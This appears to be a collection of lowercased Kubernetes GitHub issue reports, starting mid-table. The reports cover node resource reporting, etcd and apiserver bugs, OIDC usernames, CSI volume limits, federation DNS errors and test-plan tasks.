 ----------  --------------- -------------   default           k8s-master-127.0.0.1                0  0%       0  0%       0  0%       0  0%    default           k8s-proxy-127.0.0.1             0  0%       0  0%       0  0%       0  0%    hello-world-hbaba-build   hello-world-hbaba-989929512-6jiaf       800m  20%   20  500%    100mi  2%   100mi  2%    hello-world-hbaba-build   hello-world-hbaba-989929512-8hq9v       800m  20%   20  500%    100mi  2%   100mi  2%    hello-world-hbaba-build   hello-world-hbaba-989929512-jjd5n       800m  20%   20  500%    100mi  2%   100mi  2%    hello-world-hbaba-build   hello-world-hbaba-989929512-n00t2       800m  20%   20  500%    100mi  2%   100mi  2%    kube-system           kube-dns-v10-z4ics              310m  7%    310m  7%    170mi  4%   170mi  4%  allocated resources:    total limits may be over 100%, i.e., overcommitted. more info: http://releases.k8s.io/head/docs/user-guide/compute-resources.md    cpu requests  cpu limits  memory requests memory limits   ------------  ----------  --------------- -------------   3510m  87%    80310m  2007%   570mi  14%  570mi  14%       the code for that table is in  kubernetes/pkg/kubectl/describe.go  file in  describenoderesource  function. it iterates over a collection that is accessed like this :   nodenonterminatedpodslist, err := d.core  .pods namespace .list api.listoptions{fieldselector: fieldselector}    from the above example, the proposed field would look like this       \ status\ : {       ......................                 \ currentpodrequests\ : {                     \ cpu\ : \ 3510m\ ,                     \ memory\ : \ 570mi\ ,                 }, ................... }      our use case for this field is the following:  we would like to understand the \ utilization\  of the nodes and we would like to understand how much resources have been allocated to running pods and how much is left.  we are interested in this \ currentpodrequests\  information at the node level as well as at the global cluster level.  we thought a new field in the nodestatus would be suitable to contain that information .  we have created this issue to get any reactions to this suggestion. has there been any similar discussions before? any other issues or pr's anyone can point us.  what is the reaction of the community to such a change? any suggestions for implementation? any pitfalls to avoid ?   another alternative is to compute this information on demand from kube-state-metrics agent. this is the similar approach to the  kubectl describe nodes  implementation.  if this issue and the proposal does not get a favorable reaction, we want to add this computation to kube-state-metrics.   thanks for all the responses and the time spent in advance.   <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r failedmount\r \r ---\r \r   is this a bug report or feature request?    choose one : \r bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.4.8\r \r   environment  :\r -   cloud provider or hardware configuration  : gke, gce\r -   os    e.g. from /etc/os-release : gci\r \r   what happened  :\r the failedmount event can be misleading to users because it's not clear if the mount eventually succeeded or still failed.  you would have to understand the internals of the system to correctly interpret the message, which is not user friendly.  in this case, the mount did succeed, but the user still sees this failure msg in the events.\r \r    \r events:\r   firstseen     lastseen        count   from                                            subobjectpath                   type            reason          message\r   ---------     --------        -----   ----                                            -------------                   --------        ------          -------\r   14m           14m             1       default-scheduler                                                               normal          scheduled       successfully assigned up-test-201-2148660399-lcm4g to gke-repro-test-pool2-b818a09a-hknn\r   14m           13m             2       controller-manager                                                              warning         failedmount     failed to attach volume \ pvc-fe4ab0cd-0533-11e7-bbce-42010a8000c9\  on node \ gke-repro-test-pool2-b818a09a-hknn\  with: googleapi: error 400: the disk resource 'gke-repro-test-31027de-pvc-fe4ab0cd-0533-11e7-bbce-42010a8000c9' is already being used by 'gke-repro-test-pool1-fb551a02-4m0n'\r \r    \r   what you expected to happen  :\r a success event should be generated when a volume successfully attaches and mounts.  care needs to be taken to make sure we don't flood the event log.  maybe only have an event when the mount is successful, and not the attach.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a deployment that uses a gce pd volume, and move it to different nodes in order to cause the volume to need to be detached and attached to different nodes.\r \r cc @kubernetes/sig-storage-bugs \r

hi,\r \r running 1.6.4 on etcd 3.0.17 in the following setup:\r \r - 3 etcd nodes  bootstrapped according to the  clustering guide  https://coreos.com/etcd/docs/latest/op-guide/clustering.html  \r - 9 kubernetes cluster nodes all of them running kube-apiserver  --apiserver-count=9  with --bind-address to local kube-apiserver instance. all instances pointing to the same etcd cluster  --etcd-servers=http://ip1:4001,http://ip2:4001,http://ip3:4001 \r \r i tried to simulate 1 etcd node crash by simply turing off one of the machines. result:\r - timeouts running kubectl  get nodes, get pods  commands\r - lots of these error messages in kube-apiserver logs: \ status.go:62  apiserver received an error that is not an metav1.status: http: handler timeout\ \r - etcd correctly reports unhealthy node, but healthy cluster\r \r inspecting netstat shows lots of established connections to the dead etcd server, port 4001 - these connections are cleared only by restarting the kube-apiserver s .\r \r workarounds:\r - switching back to etcd 2.2.1 and using --storage-backend=etcd2 ... established connections are cleared within several seconds\r - leaving etcd 3.0.17 and using --storage-backend=etcd2 ... established connections are cleared within several seconds\r \r in both above cases kubectl shows expected results. the dead node is evicted  notready , other nodes & pods are in tact.\r \r i noticed that  etcd v2  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/etcd2.go  client contains tcp keepalive timeout, while  etcd v3  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/storage/storagebackend/factory/etcd3.go  client does not. could this be related to the described scenario?\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version   \r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:33:17z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r \r   environment  :\r -   os  :\r name=\ oracle linux server\ \r version=\ 6.7\ \r id=\ ol\ \r version_id=\ 6.7\ \r pretty_name=\ oracle linux server 6.7\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:oracle:linux:6:7\ \r home_url=\ https://linux.oracle.com/\ \r bug_report_url=\ https://bugzilla.oracle.com/\ \r oracle_bugzilla_product=\ oracle linux 6\ \r oracle_bugzilla_product_version=6.7\r oracle_support_product=\ oracle linux\ \r oracle_support_product_version=6.7\r -   kernel   \r  linux ngi-test-mgmt 4.1.12-94.3.4.el6uek.x86_64  2 smp mon may 15 14:10:25 pdt 2017 x86_64 x86_64 x86_64 gnu/linux \r \r

problem: when we create a federated ingress with 2 clusters in the same zone, ingress controller in both clusters generate the same instance group name and hence fight with each other by removing each others nodes from that instance group.\r this is a problem only with clusters in the same zone since get instance group api takes the name and zone and hence clusters in different zones get different instance groups.\r \r possible solution: we can solve it in the same way we did for firewall rules. federation adds a provider uid which is unique to all clusters. we can update ingress controller to use the provider uid if present to generate the instance group name and hence different clusters will have different instance group names.\r this will break existing federation users.\r \r this is not high  my mind, since most multi cluster users run clusters in different zones.\r \r cc @nicksardo @madhusudancs

background  \r as part of the greater controller ga effort, we have removed defaulting  spec.selector  to  spec.template.labels  values in  apps/v1beta2  as the defaulting operation is semantically broken. in this issue, we propose to make  spec.selector  immutable after api object creation.\r \r   motivation  \r \r 1. changing selectors leads to undefined behaviors - users are not expected to change the selectors\r 2. having selectors immutable ensures they always match created children, preventing events such as accidental bulk orphaning\r 3. having selectors mutable for ga is an immortal decision, which does not guarantee api backward compatibility\r \r immutability resolves some challenging issues that plague many teams for over a year e.g.,  34292, and the current behavior for controllers with respect to selector mutations is undefined e.g.,  26202.\r \r in contrast, by making selectors immutable, validation ensures the selectors always match template labels of created children. this provides a risk-free, deterministic behavior to resolve the issue, and meet the general goal of declarative configuration.\r \r we could   lift the immutability in future   after all controller types have well-defined behaviors  i.e., after ga . this provides ability to address new use cases while maintaining api backward compatibility. however, if we do not make selectors immutable prior to ga, we will have to live with mutable selectors for the lifetime of the v1 api and the controllers’ undefined behaviors until reasonable semantics are decided and implemented.\r \r    @bgrant0607 @erictune @kow3ns @enisoc @janetkuo @foxish @liyinan926 \r @liggitt @smarterclayton @kargakis @mikedanese \r \r

ref.  workload controllers test plan  https://docs.google.com/document/d/1e2m3kd2wtfhisyyuqyx0pcugzyzcykowo4ciluojadm/edit  \r \r     integration\r -  x  add testdeploymentbasic with subtests that replace basic behavior unit tests like creating replicasets, reacting to rs/pod events, orphan/adopt, etc.   55439 \r -  x  add testdeploymentrollingupdate with subtests for roll out, roll back, roll over, etc.   54819 \r -  x  shorten poll interval  can be 100ms  and use  pollimmediate    instead of  poll      52896 \r     e2e\r convert \ edge case\  e2e tests to integration tests.\r -  x  testpauseddeployment   52054 \r -  x  testrollbackdeploymentrsnorevision   53918 \r -  x  testdeploymentlabeladopted   54105 \r -  x  testscalepauseddeployment   52054 \r -  x  testscaledrolloutdeployment   54824 \r -  x  testoverlappingdeployment   54326 \r -  x  testfaileddeployment   54331 \r -  x  testdeploymenthashcollisionavoidance   52896 \r \r     cmd\r \r -  x  make sure all appropriate kubectl commands are tested  ref cmd tests in  workload controller tests  https://docs.google.com/spreadsheets/d/1yskwqvcpx_eaedcxjaooiz1cgnr0uhxrki3xbjak-em/edit gid=0  \r     upgrade\r -  x  don't pry into the replicasets. just check deployment status. the rs upgrade test will check the next layer down.   53841 \r \r     unit test\r -     refactor sync call tree so we can unit test decisions  on this sync pass, create this, delete that  without needing a test fixture with mocks.\r -     remove unit tests made redundant by new integration tests below  especially ones that need reactor/mock setup .\r \r @kubernetes/sig-apps-misc

is this a bug report or feature request?  :\r  \r   what happened  :\r from couple upgrade/downgrade testsuites:\r - https://k8s-testgrid.appspot.com/etcd-upgrades gce-latest\r - https://k8s-testgrid.appspot.com/sig-network gci-gce-latest-downgrade-kube-proxy-ds\r \r after upgrade/downgrade, master instance never be able to come up again. from the etcd logs, we found below error being constantly emitted:\r    \r 2017-10-16 21:07:10.954395 i | etcdserver: starting server...  version: 3.0.17, cluster version: to_be_decided \r 2017-10-16 21:07:10.956442 i | membership: added member a97d80ddc090126a  https://bootstrap-e2e-master:2380  to cluster 91078bdbe2ed539b\r 2017-10-16 21:07:10.956606 n | membership: set the initial cluster version to 3.0\r 2017-10-16 21:07:10.956669 i | api: enabled capabilities for version 3.0\r 2017-10-16 21:07:10.975261 n | membership: updated the cluster version from 3.0 to 3.1\r 2017-10-16 21:07:10.975303 c | membership: cluster cannot be downgraded  current version: 3.0.17 is lower than determined cluster version: 3.1 .\r    \r \r examples:\r - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-latest-upgrade-etcd/1995/artifacts/bootstrap-e2e-master/etcd.log\r - https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-latest-downgrade-kube-proxy-ds/1698/artifacts/bootstrap-e2e-master/etcd.log\r \r failures seems to start occurring after https://github.com/kubernetes/kubernetes/pull/49393 went in.\r \r   what you expected to happen  :\r \r etcd and apiserver should come up properly.\r \r   anything else we need to know?  :\r @hongchaodeng  @jpbetz \r cc @jingax10 \r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration  : gce\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r kubernetes now can't authenticated by bearer token which is in jwt format. opaque token can be authenticated by webhook, which is not very suitable for jwt now.\r \r   what you expected to happen  :\r \r a plugin for jwt authentication, which support custom jwt  from oauth2 access_token  validation\r \r   anything else we need to know?  :\r - why not use oidc?\r oidc is used for client-app, for example, a web app. backend of web app use id_token to authn user. when backend to access protected resource, access_token is used.\r in our system, a kubernetes cluster is trusted as an api service but not a client app. we hope allow many clients with different client_id to visit apiserver. however, validator of oidc id_token only accepts one client_id  apiserver only accept one client_id in args too .\r \r - why not web hook\r jwt can be validated without additional tokenreview request.\r \r   environment  :\r - kubernetes version 1.8\r

  \r   what happened  :\r \r this is the list of switches api server runs with:\r    \r     - /usr/local/bin/kube-apiserver --address=127.0.0.1 --admission-control=initializers,namespacelifecycle,limitranger,serviceaccount,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,noderestriction,priority,resourcequota\r       --allow-privileged=true --anonymous-auth=false --apiserver-count=1 --authorization-mode=rbac\r       --basic-auth-file=/srv/kubernetes/basic_auth.csv --client-ca-file=/srv/kubernetes/ca.crt\r       --cloud-provider=aws --etcd-servers-overrides=/events http://127.0.0.1:4002\r       --etcd-servers=http://127.0.0.1:4001 --insecure-port=8080 --kubelet-preferred-address-types=internalip,hostname,externalip\r       --oidc-client-id=@!dde1.1c8b.4bf7.8451!0001!dfd0.c624!0008!4479.9aa1.b0fb.bf3a --oidc-username-prefix=user- --oidc-issuer-url=https://iam.hubub.com/oxauth --oidc-username-claim=sub\r       --proxy-client-cert-file=/srv/kubernetes/apiserver-aggregator.cert\r       --proxy-client-key-file=/srv/kubernetes/apiserver-aggregator.key --requestheader-allowed-names=aggregator\r       --requestheader-client-ca-file=/srv/kubernetes/apiserver-aggregator-ca.cert\r       --requestheader-extra-headers-prefix=x-remote-extra- --requestheader-group-headers=x-remote-group\r       --requestheader-username-headers=x-remote-user --runtime-config=batch/v2alpha1=true\r       --secure-port=443 --service-cluster-ip-range=100.64.0.0/13 --storage-backend=etcd2\r       --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key\r       --token-auth-file=/srv/kubernetes/known_tokens.csv --v=2 2>&1 | /bin/tee -a\r    \r it is configured to use oidc for authentication and prefix is set to user-. when i authenticate oidc user   in this example rpolasek  without creating any role bindings, kubectl throws back error \r    \r error from server  forbidden : pods is forbidden: user \ https://iam.hubub.com/oxauth rpolasek\  cannot list pods in the namespace \ default\ \r    \r in the error message it refers to user as url username, rather user-username  user-rpolasek . \r it requires a following bind to be created using url username name schema for this user to work. cluster role binding with subject defined as user-rpolasek doesns't work.\r    \r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r   name: rpolasek\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: cluster-admin\r subjects:\r - kind: user\r   name: https://iam.hubub.com/oxauth rpolasek\r   namespace: default\r    \r \r   what you expected to happen  :\r api server should be using user-<username> for oidc users. in the example the error message from api should be error from server  forbidden : pods is forbidden: user   \ user-rpolasek\    cannot list pods in the namespace \ default\  as well as the subject name in clusterrolebinding.\r \r   how to reproduce it  as minimally and precisely as possible   :\r configure api server to use oidc for user authentication and set oidc user name claim as sub.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r debian gnu/linux 8  jessie \r \r - kernel  e.g.  uname -a  :\r linux ip-172-20-76-162 4.4.78-k8s  1 smp fri jul 28 01:28:39 utc 2017 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r i created a static pod for etcd as following with vsphere as cloud provider:\r \r    \r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ pod\ ,\r     \ metadata\ : {\r         \ name\ : \ k8s-etcd\ ,\r         \ namespace\ : \ kube-system\ ,\r         \ annotations\ : {\r             \ scheduler.alpha.kubernetes.io/critical-pod\ : \ \ \r         }\r     },\r     \ spec\ : {\r         \ containers\ :  \r             {\r                 \ command\ :  \r                     \ etcd\ ,\r                     \ --name=etcd0\ ,\r                     \ --data-dir=/var/lib/etcd\ ,\r                     \ --initial-advertise-peer-urls=https://9.111.255.77:2380\ ,\r                     \ --listen-peer-urls=https://0.0.0.0:2380\ ,\r                     \ --listen-client-urls=https://0.0.0.0:4001\ ,\r                     \ --advertise-client-urls=https://9.111.255.77:4001\ ,\r                     \ --cert-file=/etc/cfc/conf/etcd/server.pem\ ,\r                     \ --key-file=/etc/cfc/conf/etcd/server-key.pem\ ,\r                     \ --client-cert-auth\ ,\r                     \ --peer-auto-tls\ ,\r                     \ --trusted-ca-file=/etc/cfc/conf/etcd/ca.pem\ ,\r                     \ --initial-cluster-token=etcd-cluster-1\ ,\r                     \ --initial-cluster=etcd0=https://9.111.255.77:2380\ ,\r                     \ --grpc-keepalive-timeout=0\ ,\r                     \ --grpc-keepalive-interval=0\ ,\r                     \ --snapshot-count=10000\ ,\r                     \ --initial-cluster-state=new\ \r                  ,\r                 \ image\ : \ ibmcom/etcd:v3.2.14\ ,\r                 \ imagepullpolicy\ : \ ifnotpresent\ ,\r                 \ name\ : \ etcd\ ,\r                 \ volumemounts\ :  \r                     {\r                         \ mountpath\ : \ /var/lib/etcd\ ,\r                         \ name\ : \ data\ \r                     },\r                     {\r                         \ mountpath\ : \ /etc/cfc/conf/etcd\ ,\r                         \ name\ : \ etcd-certs\ \r                     }\r                  \r             }\r          ,\r         \ hostnetwork\ : true,\r         \ volumes\ :  \r             {\r                 \ hostpath\ : {\r                     \ path\ : \ /var/lib/etcd\ \r                 },\r                 \ name\ : \ data\ \r             },\r             {\r                 \ hostpath\ : {\r                     \ path\ : \ /etc/cfc/conf/etcd\ \r                 },\r                 \ name\ : \ etcd-certs\ \r             }\r          \r     }\r }\r    \r \r but the hostname is using upper name, and when kubelet start the etcd static pod, it will report error as follows:\r    \r can't process manifest file \ /etc/cfc/pods/etcd.json\ : invalid pod:  metadata.name: invalid value: \ k8s-etcd-icp-master\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  '  spec.nodename: invalid value: \ icp-master\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  '  \r    \r \r i think that the vsphere should not return upper case hostname, but only lower case hostname.\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

from  kubernetes sig cloud provider issues  https://docs.google.com/document/d/1oze-ub-v6b8y-guawejl-vu_f9jsjbbrim4lttfxssw/edit \r \r aws: testparseinstance should be renamed to test_maptoawsinstanceids to better represent what is being tested\r \r   /cc @andrewsykim

what would you like to be added  :\r in previous versions of kubernetes there have been the  kubelet_volume_   metrics. \r with the introduction of csi these metrics are no longer populated and i currently don't see any metrics that can replace these from the csi side.\r \r   why is this needed  :\r we want to alert on different csi related metrics similar to  kubelet_volume_stats_capacity_bytes  and  kubelet_volume_stats_available_bytes  just to name a few.\r \r   /cc @gnufied @brancz

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r \r volume binding mode  waitforfirstconsumer  doesn't consider the volume attach limit per node. \r \r   what you expected to happen  :\r \r  waitforfirstconsumer  volume binding mode should have respected the attach limit, similar to  immediate  binding mode.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in csi driver, configured the volume-attach limit to 1 per node on a 3 node cluster. \r \r in  immediate  volume binding mode, only 3 pods with 3 pv/pvcs runs.\r in  waitforfirstconsumer  binding mode, all 5 pods runs with 5pv/pvcs on 3 node cluster.  actually 4 pods scheduled on 1 node and 1 on other node, 3rd didn't have any pod scheduled \r \r   anything else we need to know?  :\r \r i was able to reproduced it with minimal node and configuration, and also hit this for stress case with 100 volume limit and >500 pods running on the 5 mode cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r ➜  ~ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-30t21:39:38z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: on-prem linux server\r - os  e.g. from /etc/os-release : centos 7\r \r - kernel  e.g.  uname -a  : 3.10.0\r - install tools:\r - others:\r

$ ./kubelet --version kubernetes v1.0.3      the implementation of hashcontainer is sensitive to the order of elements in repeated fields. as a result, the kubelet will recreate a container if, eg, only the order of  ports  changes.  eg, swapping the order of the  ports  in this config causes the container to be recreated:      apiversion: v1 kind: pod metadata:   name: pause spec:   containers:   - name: pause     image: gcr.io/google_containers/pause:0.8.0     ports:       - containerport: 1234       - containerport: 5678      is this desired behaviour? are there repeated elements where the order is relevant?  investigating this arose from discussion on the deployment proposal: https://github.com/kubernetes/kubernetes/pull/12236 discussion_r38608888

i have an experimental set up on a cluster using k8s 1.2.3 on aws, configured with autoscaling both of nodes and of pods.  i have manually added policies to the generated aws autoscaling group to both scale up and down the cluster based on certain metrics, as k8s' command line tooling  eg kube-up.sh  don't seem to support this.  scaling up works well. pods are flowed into the new node very quickly after it becomes available.  scaling down however completely breaks the cluster for a few minutes, turning some of the apps unavailable. the elbs correctly remove nodes as they become unavailable, but k8s seems very slow to react - a good 3 or 4 minutes.   it looks as if some pods only have presence on the node being taken  this includes the system pods such as grafana or dashboard as well as my application pods , and when this happens, these services become entirely unavailable.  my replication controllers and pod autoscaling define a minimum of 1 pod per rc, and a maximum which depends on the application's and my own budgetary requirements.

we got petset disk zone spreading in and it's really useful. however we left a couple of todos to follow up on: 1. don't embed a zone scheduler in the pv provisioner  https://github.com/kubernetes/kubernetes/pull/27553/files diff-b3d75e3586a2c9a5140cd549861da9c0r2094  2. write a unitest that protects the zone spreding from petset implementation changes  https://github.com/kubernetes/kubernetes/pull/27553 discussion_r67625074  3. maybe a multi-az e2e with petset before it goes beta?  @justinsb

problem \r \r general janitor work on scheduler perf needs to be done, two major bullets below, open to adding \r \r -     scheduler_perf tests measure throughput using scalar values.  but the real thing we care about is that we have a certain distribution, i.e.\r -      the scheduler perf also needs to implement a watch to make the polling cleaner.\r -      scheduler_perf needs to support arbitrary combinations of predicates and priorities, for up to 5,000 node simulations.\r \r  solution \r \r implement a normality test https://en.wikipedia.org/wiki/normality_test or a similar test for the distribution in scheduler_perf, and nix the if/else/cold start logic\r \r - in the beggining, we expect a few stragglers, since there might be a cold start for precomputation or for the scheduler to see the new pods.\r -  in the end, a few stragglers, since there are less pods needing to be scheduled, i.e. the final time interval\r - in the middle, we expect a large rate, max qps, since at this point any cold start is done and we definetely have no shortage of pods to place. i.e. \r \r   note that this is monkey patched for now via  36543 , so its not super urgent, more like a nice to have

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/978/  run so broken it didn't make junit output!

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r invalidchangebatch\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  :  linux ip-172-20-4-64 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : custom\r -   others  :\r \r \r   what happened  :\r \r i have 2 clusters in aws, 1 in us-east-1 and 1 in us-east-2. i set up cluster federation using https://github.com/kelseyhightower/kubernetes-cluster-federation as my guide.\r \r i created a replica set with 4 replicas of nginx. 2 ran on each of the 2 regions. all good.\r \r i created a service, the federation controller manager created cnames for nginx4.default.federation.svc.us-east-1.federation.com and nginx4.default.federation.svc.us-east-2.federation.com. this looks correct.\r \r eventually nginx4.default.federation.svc.us-east-1.federation.com was changed to an a record when the endpoints became healthy while nginx4.default.federation.svc.us-east-2.federation.com remained a cname.\r \r this is the error from federation-controller-manager 1.5.3  i also tried 1.5.1 .\r \r i0226 07:47:30.273951       1 dns.go:237  recordset &{0xc421552a80 0xc4202da4d8} already exists.  ensuring that it is correct.\r i0226 07:47:30.273981       1 dns.go:268  nginx4.default.federation.svc.us-east-2a.us-east-2.federation.com.: healthy endpoints  ae0cf9867fbf611e6954b023f939bc0f-805436699.us-east-2.elb.amazonaws.com ae0cf9867fbf611e6954b023f939bc0f-805436699.us-east-2.elb.amazonaws.com  exist.  recordset &{0xc421552a80 0xc4202da4d8} exists.  reconciling.\r i0226 07:47:30.301127       1 dns.go:274  have recordset &{0xc421552a80 0xc4202da4d8}. need recordset {0xc421553500 0xc420ef8340}\r i0226 07:47:30.301156       1 dns.go:282  existing recordset &{0xc421552a80 0xc4202da4d8} is not equivalent to needed recordset {0xc421553500 0xc420ef8340}, removing existing and adding needed.\r i0226 07:47:30.362002       1 service_helper.go:120  error ensuring dns records for service default/nginx4 on cluster additionalzonesftw: invalidchangebatch: duplicate resource record: 52.14.105.135\r \tstatus code: 400, request id: d35e1156-fbf7-11e6-b1d9-afb55cf95a01\r \r notice the 2 healthy endpoints are for the same elb  ae0cf9867fbf611e6954b023f939bc0f-805436699...  could this be the cause of  invalidchangebatch: duplicate resource record ?\r \r   what you expected to happen  :\r \r i expected nginx4.default.federation.svc.us-east-2.federation.com to be an a record instead of cname.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r set up cluster federation on aws. create a replica set. create a service.\r \r   anything else we need to know  :\r \r

